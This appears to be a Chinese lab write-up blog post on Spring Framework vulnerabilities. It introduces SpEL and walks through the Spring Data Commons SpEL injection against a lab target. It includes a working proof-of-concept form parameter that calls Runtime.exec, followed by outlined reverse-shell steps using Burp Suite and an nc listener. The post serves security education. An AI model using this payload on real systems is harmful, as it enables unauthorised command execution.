Spring框架漏洞

Spring是Java EE编程领域的⼀个轻量级开源框架,该框架由⼀个叫Rod Johnson的程序员 在2002年最早提出并随后创建,是为了解决企业级编程开发中的复杂性,业务逻辑层和其他各 层的松耦合问题,因此它将⾯向接⼝的编程思想贯穿整个系统应⽤,实现敏捷开发的应⽤型框 架。框架的主要优势之⼀就是其分层架构,分层架构允许使⽤者选择使⽤哪⼀个组件,同时为 J2EE应⽤程序开发提供集成的框架。 2009年9⽉Spring 3.0 RC1发布后,Spring就引⼊了SpEL (Spring Expression Language)。类⽐Struts2框架,会发现绝⼤部分的安全漏洞都和OGNL脱不了⼲系。尤其是远程 命令执⾏漏洞,这导致Struts2越来越不受待⻅。 1 app="Struts2" Python 14 因此,Spring引⼊SpEL必然增加安全⻛险。事实上,过去多个Spring CVE都与其相关,如 CVE-2017-8039、CVE-2017-4971、CVE-2016-5007、CVE-2016-4977等。 SpEL是什么? SpEL(Spring Expression Language)是基于spring的⼀个表达式语⾔,类似于struts的 OGNL,能够在运⾏时动态执⾏⼀些运算甚⾄⼀些指令,类似于Java的反射功能。就使⽤⽅法上 来看,⼀共分为三类,分别是直接在注解中使⽤,在XML⽂件中使⽤和直接在代码块中使⽤

Spring Data 是⼀个⽤于简化数据库访问,并⽀持云服务的开源框架,Spring Data Commons 是 Spring Data 下所有⼦项⽬共享的基础框架。Spring Data Commons 在 2.0.5 及 以前版本中,存在⼀处 SpEL 表达式注⼊漏洞,攻击者可以注⼊恶意 SpEL 表达式以执⾏任意命 令

1、访问

http://IP:PORT/users

2、填写注册信息,抓包

加上POC

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("t ouch /tmp/zcc")]=&password=&repeatedPassword=

3、进入终端,看到成功写入

4、反弹shell

 

5、利用burpsuite执行sh脚本

6、(靶机)查看

7、nc监听

  • 5
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值